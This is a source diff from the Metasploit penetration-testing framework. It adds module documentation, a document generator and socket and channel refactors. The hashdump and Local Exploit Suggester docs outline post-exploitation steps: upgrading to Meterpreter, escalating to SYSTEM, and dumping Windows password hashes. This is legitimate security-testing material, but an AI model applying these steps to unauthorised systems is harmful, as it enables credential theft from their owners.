You can use the #methods method to see what methods you can use:
```
>> client.methods
```
To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
```
>> client.sys.config.method(:getuid).source_location
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
```
The first element of the array is the location of the file. The second element is the line number of the method.
**Using Railgun**
Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
```
>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
```
To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).

View File

@ -0,0 +1,31 @@
The Local Exploit Suggester is a post-exploitation module that you can use to check a system for local vulnerabilities. It performs local exploit checks; it does not actually run any exploits, which is useful because this means you to scan a system without being intrusive. In addition to being stealthy, it's a time saver. You don't have to manually search for local exploits that will work; it'll show you which exploits the target is vulnerable to based on the system's platform and architecture.
The Local Exploit Suggester is available for Python, PHP, and Windows Meterpreter.
## Vulnerable Application
To use the Local Exploit Suggester:
* You must have an open Meterpreter session.
## Verification Steps
Please see the Overview section.
##Options
You can set the following options for the Local Exploit Suggester:
* **showdescription** - Set this option to true to see more details about each exploit.
## Scenarios
When the Local Exploit Suggester runs, it displays a list of local exploits that the target may be vulnerable to, and it tells you the likelihood of exploitation.
The following terms are used to help you understand how vulnerable a target is to a particular exploit:
* **Vulnerable** - Indicates that the target is vulnerable.
* **Appears** - Indicates that the target may be vulnerable based on the file version, but the vulnerable code has not been tested.
* **Detected** - Indicates that the target has the file, but it cannot be determined whether or not the target is vulnerable.

View File

@ -0,0 +1,46 @@
The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command.
Having this feature as a post module allows it to be used in different penetration testing scenarios.
## Vulnerable Application
---
To be able to use post/gather/hash_dump, you must meet these requirements:
* You are on a Meterpreter type session.
* The target is a Windows platform.
* It must be executed under the context of a high privilege account, such as SYSTEM.
## Verification Steps
---
Please see Overview for usage.
## Scenarios
---
**Upgrading to Meterpreter**
To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try:
1. Use the exploit/multi/script/web_delivery module.
2. Manually generate a Meterpreter executable, upload it, and execute it.
**High Privilege Account**
Before using post/gather/hashdump, there is a possibility you need to escalate your privileges.
There are a few common options to consider:
* Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you
which exploits might be suitable for the remote target.
* The getsystem command in Meterpreter.
* Stolen passwords.
**Hashdump From Multiple Sessions**
One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage.

View File

@ -43,6 +43,7 @@ module Metasploit
def set_sane_defaults
self.method = "POST" if self.method.nil?
super
end
# Actually doing the login. Called by #attempt_login

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.18"
VERSION = "4.11.20"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -27,7 +27,7 @@ class Config < Hash
# @return [String] the base configuration directory
def self.get_config_root
# Use MSFCFGDIR environment variable first. See feature request #5797
# Use MSF_CFGROOT_CONFIG environment variable first.
val = Rex::Compat.getenv('MSF_CFGROOT_CONFIG')
if (val and File.directory?(val))
return val

View File

@ -29,10 +29,12 @@ class DataStore < Hash
opt = @options[k]
unless opt.nil?
unless opt.valid?(v)
raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'#{['', ', try harder'].sample}"])
if opt.validate_on_assignment?
unless opt.valid?(v)
raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
end
v = opt.normalize(v)
end
v = opt.normalize(v)
end
super(k,v)

View File

@ -12,6 +12,10 @@ class OptAddressRange < OptBase
return 'addressrange'
end
def validate_on_assignment?
false
end
def normalize(value)
return nil unless value.kind_of?(String)
if (value =~ /^file:(.*)/)

View File

@ -75,6 +75,13 @@ module Msf
return (type == in_type)
end
#
# Returns true if this option can be validated on assignment
#
def validate_on_assignment?
true
end
#
# If it's required and the value is nil or empty, then it's not valid.
#

View File

@ -12,6 +12,10 @@ class OptPath < OptBase
return 'path'
end
def validate_on_assignment?
false
end
# Generally, 'value' should be a file that exists.
def valid?(value)
return false if empty_required_value?(value)

View File

@ -12,6 +12,10 @@ class OptRaw < OptBase
return 'raw'
end
def validate_on_assignment?
false
end
def normalize(value)
if (value.to_s =~ /^file:(.*)/)
path = $1

View File

@ -12,6 +12,10 @@ class OptString < OptBase
return 'string'
end
def validate_on_assignment?
false
end
def normalize(value)
if (value.to_s =~ /^file:(.*)/)
path = $1

View File

@ -1,5 +1,7 @@
# -*- coding: binary -*-
require 'msf/util/document_generator'
module Msf
module RPC
class RPC_Module < RPC_Base
@ -70,6 +72,17 @@ class RPC_Module < RPC_Base
end
# Returns detailed information about a module in HTML.
#
# @return [String] HTML file.
# @example Here's how you would use this from the client:
# rpc.call('module.info_html', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_info_html(mtype, mname)
m = _find_module(mtype, mname)
Msf::Util::DocumentGenerator.get_module_document(m)
end
# Returns the metadata for a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):

View File

@ -16,6 +16,7 @@ require 'msf/ui/console/command_dispatcher/nop'
require 'msf/ui/console/command_dispatcher/payload'
require 'msf/ui/console/command_dispatcher/auxiliary'
require 'msf/ui/console/command_dispatcher/post'
require 'msf/util/document_generator'
module Msf
module Ui
@ -751,7 +752,9 @@ class Core
def cmd_info_help
print_line "Usage: info <module name> [mod2 mod3 ...]"
print_line
print_line "Optionally the flag '-j' will print the data in json format"
print_line "Options:"
print_line "* The flag '-j' will print the data in json format"
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
print_line "Queries the supplied module or modules for information. If no module is given,"
print_line "show info for the currently active module."
print_line
@ -762,15 +765,25 @@ class Core
#
def cmd_info(*args)
dump_json = false
show_doc = false
if args.include?('-j')
args.delete('-j')
dump_json = true
end
if args.include?('-d')
args.delete('-d')
show_doc = true
end
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
elsif show_doc
print_status("Please wait, generating documentation for #{active_module.shortname}")
Msf::Util::DocumentGenerator.spawn_module_document(active_module)
else
print(Serializer::ReadableText.dump_module(active_module))
end
@ -791,6 +804,9 @@ class Core
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
print_status("Please wait, generating documentation for #{mod.shortname}")
Msf::Util::DocumentGenerator.get_module_document(mod)
else
print(Serializer::ReadableText.dump_module(mod))
end

View File

@ -0,0 +1,74 @@
###
#
# This provides methods to generate documentation for a module.
#
###
require 'msf/util/document_generator/pull_request_finder'
require 'msf/util/document_generator/normalizer'
module Msf
module Util
module DocumentGenerator
# Spawns a module document with a browser locally.
#
# @param mod [Msf::Module] Module to create document for.
# @return [void]
def self.spawn_module_document(mod)
md = get_module_document(mod)
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
f.write(md)
f.close
kb_path = f.path
Rex::Compat.open_webrtc_browser("file://#{kb_path}")
end
# Returns a module document in HTML.
#
# @param mod [Msf::Module] Module to create document for.
# @return [void]
def self.get_module_document(mod)
md = ''
kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
kb = ''
if File.exists?(kb_path)
File.open(kb_path, 'rb') { |f| kb = f.read }
end
begin
pr_finder = PullRequestFinder.new
pr = pr_finder.search(mod)
rescue PullRequestFinder::Exception => e
pr = e
end
n = DocumentNormalizer.new
items = {
mod_description: mod.description,
mod_authors: mod.send(:module_info)['Author'],
mod_fullname: mod.fullname,
mod_name: mod.name,
mod_pull_requests: pr,
mod_refs: mod.references,
mod_rank: mod.rank,
mod_platforms: mod.send(:module_info)['Platform'],
mod_options: mod.options,
mod_demo: mod
}
if mod.respond_to?(:targets) && mod.targets
items[:mod_targets] = mod.targets
end
n.get_md_content(items, kb)
end
end
end
end

View File

@ -0,0 +1,288 @@
require 'redcarpet'
require 'erb'
module Redcarpet
module Render
class MsfMdHTML < Redcarpet::Render::HTML
def block_code(code, language)
"<pre>" \
"<code>#{code}</code>" \
"</pre>"
end
def list(content, list_type)
if list_type == :unordered && content.scan(/<li>/).flatten.length > 15
%Q|<p><div id=\"long_list\"><ul>#{content}<ul></div></p>|
elsif list_type == :unordered
%Q|<ul>#{content}</ul>|
elsif list_type == :ordered
%Q|<ol>#{content}</ol>|
else
content
end
end
def header(text, header_level)
%Q|<h#{header_level}>#{text}</h#{header_level}><hr>|
end
def table(header, body)
%Q|<table class="kb_table" cellpadding="5" cellspacing="2" border="1">#{header}#{body}</table><br>|
end
end
end
end
module Msf
module Util
module DocumentGenerator
class DocumentNormalizer
#
# Markdown templates
#
CSS_BASE_PATH = 'markdown.css'
HTML_TEMPLATE = 'html_template.erb'
TEMPLATE_PATH = 'default_template.erb'
#
# Demo templates
#
REMOTE_EXPLOIT_DEMO_TEMPLATE = 'remote_exploit_demo_template.erb'
BES_DEMO_TEMPLATE = 'bes_demo_template.erb'
HTTPSERVER_DEMO_TEMPLATE = 'httpserver_demo_template.erb'
GENERIC_DEMO_TEMPLATE = 'generic_demo_template.erb'
LOCALEXPLOIT_DEMO_TEMPLATE = 'localexploit_demo_template.erb'
POST_DEMO_TEMPLATE = 'post_demo_template.erb'
AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb'
PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb'
# Returns the module document in HTML form.
#
# @param items [Hash] Items to be documented.
# @param kb [String] Additional information to be added in the doc.
# @return [String] HTML.
def get_md_content(items, kb)
@md_template ||= lambda {
template = ''
path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', TEMPLATE_PATH))
File.open(path, 'rb') { |f| template = f.read }
return template
}.call
md_to_html(ERB.new(@md_template).result(binding()), kb.gsub(/</, '&#x3c;'))
end
private
# Returns the CSS code for the HTML document.
#
# @return [String]
def load_css
@css ||= lambda {
data = ''
path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', CSS_BASE_PATH))
File.open(path, 'rb') { |f| data = f.read }
return data
}.call
end
# Returns the HTML document.
#
# @param md [String] Markdown document.
# @param kb [String] Additional information to add.
# @return [String] HTML document.
def md_to_html(md, kb)
opts = {
fenced_code_blocks: true,
no_intra_emphasis: true,
escape_html: true,
tables: true
}
r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, opts)
ERB.new(@html_template ||= lambda {
html_template = ''
path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', HTML_TEMPLATE))
File.open(path, 'rb') { |f| html_template = f.read }
return html_template
}.call).result(binding())
end
# Returns the markdown format for pull requests.
#
# @param pull_requests [Hash] Pull requests
# @return [String]
def normalize_pull_requests(pull_requests)
if pull_requests.kind_of?(PullRequestFinder::Exception)
error = pull_requests.message
case error
when /GITHUB_OAUTH_TOKEN/i
error << " [See how]("
error << "https://help.github.com/articles/creating-an-access-token-for-command-line-use/"
error << ")"
end
return error
end
formatted_pr = []
pull_requests.each_pair do |number, pr|
formatted_pr << "* <a href=\"https://github.com/rapid7/metasploit-framework/pull/#{number}\">##{number}</a> - #{pr[:title]}"
end
formatted_pr * "\n"
end
# Returns the markdown format for module datastore options.
#
# @param mod_options [Hash] Datastore options
# @return [String]
def normalize_options(mod_options)
required_options = []
mod_options.each_pair do |name, props|
if props.required && props.default.nil?
required_options << "* #{name} - #{props.desc}"
end
end
required_options * "\n"
end
# Returns the markdown format for module description.
#
# @param description [String] Module description.
# @return [String]
def normalize_description(description)
Rex::Text.wordwrap(Rex::Text.compress(description))
end
# Returns the markdown format for module authors.
#
# @param authors [Array] Module Authors
# @param authors [String] Module author
# @return [String]
def normalize_authors(authors)
if authors.kind_of?(Array)
authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n"
else
authors
end
end
# Returns the markdown format for module targets.
#
# @param targets [Array] Module targets.
# @return [String]
def normalize_targets(targets)
targets.collect { |c| "* #{c.name}" } * "\n"
end
# Returns the markdown format for module references.
#
# @param refs [Array] Module references.
# @return [String]
def normalize_references(refs)
refs.collect { |r| "* <a href=\"#{r}\">#{r}</a>" } * "\n"
end
# Returns the markdown format for module platforms.
#
# @param platforms [Array] Module platforms.
# @param platforms [String] Module platform.
# @return [String]
def normalize_platforms(platforms)
if platforms.kind_of?(Array)
platforms.collect { |p| "* #{p}" } * "\n"
else
platforms
end
end
# Returns the markdown format for module rank.
#
# @param rank [String] Module rank.
# @return [String]
def normalize_rank(rank)
"[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)"
end
# Returns a parsed demo ERB template.
#
# @param mod [Msf::Module] Metasploit module.
# @param path [String] Template path.
# @return [String]
def load_demo_template(mod, path)
data = ''
path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', path))
File.open(path, 'rb') { |f| data = f.read }
ERB.new(data).result(binding())
end
# Returns whether the module is a remote exploit or not.
#
# @param mod [Msf::Module] Metasploit module.
# @return [TrueClass] Module is a remote exploit.
# @return [FalseClass] Module is not really a remote exploit.
def is_remote_exploit?(mod)
# It's actually a little tricky to determine this, so we'll try to be as
# specific as possible. Rather have false negatives than false positives,
# because the worst case would be using the generic demo template.
mod.type == 'exploit' && # Must be an exploit
mod.kind_of?(Msf::Exploit::Remote) && # Should always have this
!mod.kind_of?(Msf::Exploit::FILEFORMAT) && # Definitely not a file format
!mod.kind_of?(Msf::Exploit::Remote::TcpServer) && # If there is a server mixin, things might get complicated
mod.options['DisablePayloadHandler'] # Must allow this option
end
# Returns a demo template suitable for the module. Currently supported templates:
# BrowserExploitServer modules, HttpServer modules, local exploit modules, post
# modules, payloads, auxiliary scanner modules.
#
# @param mod [Msf::Module] Metasploit module.
# @return [String]
def normalize_demo_output(mod)
if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) && mod.shortname != 'browser_autopwn2'
load_demo_template(mod, BES_DEMO_TEMPLATE)
elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer)
load_demo_template(mod, HTTPSERVER_DEMO_TEMPLATE)
elsif mod.kind_of?(Msf::Exploit::Local)
load_demo_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE)
elsif mod.kind_of?(Msf::Post)
load_demo_template(mod, POST_DEMO_TEMPLATE)
elsif mod.kind_of?(Msf::Payload)
load_demo_template(mod, PAYLOAD_DEMO_TEMPLATE)
elsif mod.kind_of?(Msf::Auxiliary::Scanner)
load_demo_template(mod, AUXILIARY_SCANNER_DEMO_TEMPLATE)
elsif is_remote_exploit?(mod)
load_demo_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE)
else
load_demo_template(mod, GENERIC_DEMO_TEMPLATE)
end
end
end
end
end
end

View File

@ -0,0 +1,166 @@
require 'octokit'
require 'nokogiri'
require 'net/http'
module Msf
module Util
module DocumentGenerator
class PullRequestFinder
class Exception < RuntimeError; end
MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' ))
# @return [Octokit::Client] Git client
attr_accessor :git_client
# @return [String] Metasploit Framework's repository
attr_accessor :repository
# @return [String] Metasploit Framework's branch
attr_accessor :branch
# @return [String] Metasploit Framework's repository owner
attr_accessor :owner
# @return [String] Git access token
attr_accessor :git_access_token
# Initializes Msf::Util::DocumenGenerator::PullRequestFinder
#
# @raise [PullRequestFinder::Exception] No GITHUB_OAUTH_TOKEN environment variable
# @return [void]
def initialize
unless ENV.has_key?('GITHUB_OAUTH_TOKEN')
msg = ''
raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.'
end
self.owner = 'rapid7'
self.repository = "#{owner}/metasploit-framework"
self.branch = 'master'
self.git_access_token = ENV['GITHUB_OAUTH_TOKEN']
self.git_client = Octokit::Client.new(access_token: git_access_token)
end
# Returns pull requests associated with a particular Metasploit module.
#
# @param mod [Msf::Module] Metasploit module.
# @return [Hash]
def search(mod)
file_name = get_normalized_module_name(mod)
commits = get_commits_from_file(file_name)
get_pull_requests_from_commits(commits)
end
private
# Returns the normalized module full name.
#
# @param mod [Msf::Module] Metasploit module.
# @return [String]
def get_normalized_module_name(mod)
source_fname = mod.method(:initialize).source_location.first
source_fname.scan(/(modules.+)/).flatten.first || ''
end
# Returns git commits for a particular file.
#
# @param path [String] File path.
# @raise [PullRequestFinder::Exception] No commits found.
# @return [Array<Sawyer::Resource>]
def get_commits_from_file(path)
begin
commits = git_client.commits(repository, branch, path: path)
rescue Faraday::ConnectionFailed
raise PullRequestFinder::Exception, 'No network connection to Github.'
end
if commits.empty?
# Possibly the path is wrong.
raise PullRequestFinder::Exception, 'No commits found.'
end
commits
end
# Returns the author for the commit.
#
# @param commit [Sawyer::Resource]
# @return [String]
def get_author(commit)
if commit.author
return commit.author[:login].to_s
end
''
end
# Checks whether the author should be skipped or not.
#
# @param commit [Sawyer::Resource]
# @return [Boolean] TrueClass if the author should be skipped, otherwise false.
def is_author_blacklisted?(commit)
['tabassassin'].include?(get_author(commit))
end
# Returns unique pull requests for a collection of commits.
#
# @param commits [Array<Sawyer::Resource>]
# @return [Hash]
def get_pull_requests_from_commits(commits)
pull_requests = {}
commits.each do |commit|
next if is_author_blacklisted?(commit)
pr = get_pull_request_from_commit(commit)
unless pr.empty?
pull_requests[pr[:number]] = pr
end
end
pull_requests
end
# Returns unique pull requests for a commit.
#
# @param commit [Sawyer::Resource]
# @return [Hash]
def get_pull_request_from_commit(commit)
sha = commit.sha
url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}")
cli = Net::HTTP.new(url.host, url.port)
cli.use_ssl = true
req = Net::HTTP::Get.new(url.request_uri)
res = cli.request(req)
n = Nokogiri::HTML(res.body)
found_pr_link = n.at('li[@class="pull-request"]//a')
# If there is no PR associated with this commit, it's probably from the SVN days.
return {} unless found_pr_link
href = found_pr_link.attributes['href'].text
title = found_pr_link.attributes['title'].text
# Filter out all the pull requests that do not belong to rapid7.
# If this happens, it's probably because the PR was submitted to somebody's fork.
return {} unless /^\/#{owner}\// === href
{ number: href.scan(/\d+$/).flatten.first, title: title }
end
end
end
end
end

View File

@ -149,8 +149,6 @@ def self.open_browser(url='http://google.com/')
end
def self.open_webrtc_browser(url='http://google.com/')
found_browser = false
case RUBY_PLATFORM
when /mswin2|mingw|cygwin/
paths = [
@ -170,8 +168,7 @@ def self.open_webrtc_browser(url='http://google.com/')
if File.exists?(path)
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("#{path} #{args} #{url}")
found_browser = true
break
return true
end
end
@ -182,27 +179,25 @@ def self.open_webrtc_browser(url='http://google.com/')
args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : ""
system("open #{url} -a \"#{browser_path}\" #{args} &")
found_browser = true
break
return true
end
end
else
if defined? ENV['PATH']
['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}"
if File.exists?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &")
found_browser = true
break
return true
end
end
end
end
end
found_browser
false
end
def self.open_email(addr)

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
require 'socket'
require 'rex/io/socket_abstraction'
module Rex
module IO
@ -12,24 +12,15 @@ module IO
#
###
module DatagramAbstraction
include Rex::IO::SocketAbstraction
#
# Creates a streaming socket pair
#
def initialize_abstraction
self.lsock, self.rsock = Rex::Socket.udp_socket_pair()
self.lsock, self.rsock = Rex::Socket.udp_socket_pair
end
# The left side of the stream (local)
attr_reader :lsock
# The right side of the stream (remote)
attr_reader :rsock
protected
attr_writer :lsock
attr_writer :rsock
end
end; end

View File

@ -0,0 +1,205 @@
# -*- coding: binary -*-
require 'socket'
require 'fcntl'
module Rex
module IO
###
#
# This class provides an abstraction to a stream based
# connection through the use of a streaming socketpair.
#
###
module SocketAbstraction
###
#
# Extension information for required Stream interface.
#
###
module Ext
#
# Initializes peer information.
#
def initinfo(peer,local)
@peer = peer
@local = local
end
#
# Symbolic peer information.
#
def peerinfo
(@peer || "Remote Pipe")
end
#
# Symbolic local information.
#
def localinfo
(@local || "Local Pipe")
end
end
#
# Override this method to init the abstraction
#
def initialize_abstraction
self.lsock, self.rsock = Rex::Compat.pipe
end
#
# This method cleans up the abstraction layer.
#
def cleanup_abstraction
self.lsock.close if (self.lsock and !self.lsock.closed?)
self.rsock.close if (self.rsock and !self.rsock.closed?)
self.lsock = nil
self.rsock = nil
end
#
# Low-level write to the local side.
#
def syswrite(buffer)
lsock.syswrite(buffer)
end
#
# Low-level read from the local side.
#
def sysread(length)
lsock.sysread(length)
end
#
# Shuts down the local side of the stream abstraction.
#
def shutdown(how)
lsock.shutdown(how)
end
#
# Closes both sides of the stream abstraction.
#
def close
cleanup_abstraction
super
end
#
# Symbolic peer information.
#
def peerinfo
"Remote-side of Pipe"
end
#
# Symbolic local information.
#
def localinfo
"Local-side of Pipe"
end
#
# The left side of the stream.
#
attr_reader :lsock
#
# The right side of the stream.
#
attr_reader :rsock
protected
def monitor_rsock(threadname = "SocketMonitorRemote")
self.monitor_thread = Rex::ThreadFactory.spawn(threadname, false) {
loop do
closed = false
buf = nil
if not self.rsock
wlog("monitor_rsock: the remote socket is nil, exiting loop")
break
end
begin
s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
rescue Exception => e
wlog("monitor_rsock: exception during select: #{e.class} #{e}")
closed = true
end
if( closed == false )
begin
buf = self.rsock.sysread( 32768 )
if buf == nil
closed = true
wlog("monitor_rsock: closed remote socket due to nil read")
end
rescue EOFError => e
closed = true
dlog("monitor_rsock: EOF in rsock")
rescue ::Exception => e
closed = true
wlog("monitor_rsock: exception during read: #{e.class} #{e}")
end
end
if( closed == false )
total_sent = 0
total_length = buf.length
while( total_sent < total_length )
begin
data = buf[total_sent, buf.length]
# Note that this must be write() NOT syswrite() or put() or anything like it.
# Using syswrite() breaks SSL streams.
sent = self.write( data )
# sf: Only remove the data off the queue is write was successfull.
# This way we naturally perform a resend if a failure occured.
# Catches an edge case with meterpreter TCP channels where remote send
# failes gracefully and a resend is required.
if (sent.nil?)
closed = true
wlog("monitor_rsock: failed writing, socket must be dead")
break
elsif (sent > 0)
total_sent += sent
end
rescue ::IOError, ::EOFError => e
closed = true
wlog("monitor_rsock: exception during write: #{e.class} #{e}")
break
end
end
end
if( closed )
begin
self.close_write if self.respond_to?('close_write')
rescue IOError
end
break
end
end
}
end
protected
attr_accessor :monitor_thread
attr_writer :lsock
attr_writer :rsock
end
end; end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
require 'socket'
require 'fcntl'
require 'rex/io/socket_abstraction'
module Rex
module IO
@ -13,36 +12,7 @@ module IO
#
###
module StreamAbstraction
###
#
# Extension information for required Stream interface.
#
###
module Ext
#
# Initializes peer information.
#
def initinfo(peer,local)
@peer = peer
@local = local
end
#
# Symbolic peer information.
#
def peerinfo
(@peer || "Remote Pipe")
end
#
# Symbolic local information.
#
def localinfo
(@local || "Local Pipe")
end
end
include Rex::IO::SocketAbstraction
#
# This method creates a streaming socket pair and initializes it.
@ -53,156 +23,9 @@ module StreamAbstraction
self.lsock.extend(Ext)
self.rsock.extend(Rex::IO::Stream)
self.monitor_rsock
self.monitor_rsock("StreamMonitorRemote")
end
#
# This method cleans up the abstraction layer.
#
def cleanup_abstraction
self.lsock.close if (self.lsock)
self.rsock.close if (self.rsock)
self.lsock = nil
self.rsock = nil
end
#
# Low-level write to the local side.
#
def syswrite(buffer)
lsock.syswrite(buffer)
end
#
# Low-level read from the local side.
#
def sysread(length)
lsock.sysread(length)
end
#
# Shuts down the local side of the stream abstraction.
#
def shutdown(how)
lsock.shutdown(how)
end
#
# Closes both sides of the stream abstraction.
#
def close
cleanup_abstraction
end
#
# Symbolic peer information.
#
def peerinfo
"Remote-side of Pipe"
end
#
# Symbolic local information.
#
def localinfo
"Local-side of Pipe"
end
#
# The left side of the stream.
#
attr_reader :lsock
#
# The right side of the stream.
#
attr_reader :rsock
protected
def monitor_rsock
self.monitor_thread = Rex::ThreadFactory.spawn("StreamMonitorRemote", false) {
loop do
closed = false
buf = nil
if not self.rsock
wlog("monitor_rsock: the remote socket is nil, exiting loop")
break
end
begin
s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
rescue Exception => e
wlog("monitor_rsock: exception during select: #{e.class} #{e}")
closed = true
end
if( closed == false )
begin
buf = self.rsock.sysread( 32768 )
if buf == nil
closed = true
wlog("monitor_rsock: closed remote socket due to nil read")
end
rescue EOFError => e
closed = true
dlog("monitor_rsock: EOF in rsock")
rescue ::Exception => e
closed = true
wlog("monitor_rsock: exception during read: #{e.class} #{e}")
end
end
if( closed == false )
total_sent = 0
total_length = buf.length
while( total_sent < total_length )
begin
data = buf[total_sent, buf.length]
# Note that this must be write() NOT syswrite() or put() or anything like it.
# Using syswrite() breaks SSL streams.
sent = self.write( data )
# sf: Only remove the data off the queue is write was successfull.
# This way we naturally perform a resend if a failure occured.
# Catches an edge case with meterpreter TCP channels where remote send
# failes gracefully and a resend is required.
if (sent.nil?)
closed = true
wlog("monitor_rsock: failed writing, socket must be dead")
break
elsif (sent > 0)
total_sent += sent
end
rescue ::IOError, ::EOFError => e
closed = true
wlog("monitor_rsock: exception during write: #{e.class} #{e}")
break
end
end
end
if( closed )
begin
self.close_write if self.respond_to?('close_write')
rescue IOError
end
break
end
end
}
end
protected
attr_accessor :monitor_thread
attr_writer :lsock
attr_writer :rsock
end
end; end

View File

@ -0,0 +1,75 @@
# -*- coding: binary -*-
require 'rex/io/datagram_abstraction'
require 'rex/post/meterpreter/channels/socket_abstraction'
module Rex
module Post
module Meterpreter
###
#
# Stream
# ------
#
# This class represents a channel that is streaming. This means
# that sequential data is flowing in either one or both directions.
#
###
class Datagram < Rex::Post::Meterpreter::Channel
include Rex::Post::Meterpreter::SocketAbstraction
include Rex::IO::DatagramAbstraction
class << self
def cls
return CHANNEL_CLASS_DATAGRAM
end
end
module SocketInterface
include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface
def type?
'udp'
end
def recvfrom_nonblock(length,flags = nil)
return [super(length, flags)[0], super(length, flags)[0]]
end
def send(buf, flags, saddr)
channel.send(buf, flags, saddr)
end
end
def dio_write_handler(packet, data)
@recvd ||= []
@recvd << [packet, data]
peerhost = packet.get_tlv_value(
Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_HOST
)
peerport = packet.get_tlv_value(
Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_PORT
)
if peerhost && peerport
# Maxlen here is 65507, to ensure we dont overflow, we need to write twice
# If the other side has a full 64k, handle by splitting up the datagram and
# writing multiple times along with the sockaddr. Consumers calling recvfrom
# repeatedly will buffer up all the pieces.
while data.length > 65507
rsock.syswrite(data[0..65506])
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
data = data - data[0..65506]
end
rsock.syswrite(data)
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
return true
else
return false
end
end
end
end; end; end

View File

@ -0,0 +1,160 @@
# -*- coding: binary -*-
# require 'rex/io/socket_abstraction'
require 'rex/post/meterpreter/channel'
module Rex
module Post
module Meterpreter
###
#
# Abstraction
# ------
#
# This class represents a channel that is streaming. This means
# that sequential data is flowing in either one or both directions.
#
###
module SocketAbstraction
class << self
def cls
raise NotImplementedError
end
end
module SocketInterface
def type?
raise NotImplementedError
end
def getsockname
return super if not channel
# Find the first host in our chain (our address)
hops = 0
csock = channel.client.sock
while(csock.respond_to?('channel'))
csock = csock.channel.client.sock
hops += 1
end
_address_family,caddr,_cport = csock.getsockname
address_family,raddr,_rport = csock.getpeername
_maddr,mport = [ channel.params.localhost, channel.params.localport ]
[ address_family, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ]
end
def getpeername
return super if not channel
address_family,_caddr,_cport = channel.client.sock.getpeername
maddr,mport = [ channel.params.peerhost, channel.params.peerport ]
[ address_family, "#{maddr}", "#{mport}" ]
end
%i{localhost localport peerhost peerport}.map do |meth|
define_method(meth) {
return super if not channel
channel.params.send(meth)
}
end
def close
super
channel.cleanup_abstraction
channel.close
end
attr_accessor :channel
end
#
# Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair
# Instead of writing to the lsock, reading from the rsock and then writing to the channel,
# we use this mixin to directly write to the channel.
#
# Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real
# socket to write to and we cant intercept the sockets syswrite at a native level.
#
# Note: The deadlock only seems to effect the Ruby build for cygwin.
#
module DirectChannelWrite
def syswrite(buf)
channel._write(buf)
end
attr_accessor :channel
end
##
#
# Constructor
#
##
#
# Passes the initialization information up to the base class
#
def initialize(client, cid, type, flags)
# sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called
# with data to write to the rsock but rsock has not yet been initialized. This happens if the channel
# is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write'
# request comes in before we have called self.initialize_abstraction()
initialize_abstraction
super(client, cid, type, flags)
end
##
#
# Remote I/O handlers
#
##
#
# Performs a write operation on the right side of the local stream.
#
def dio_write_handler(packet, data)
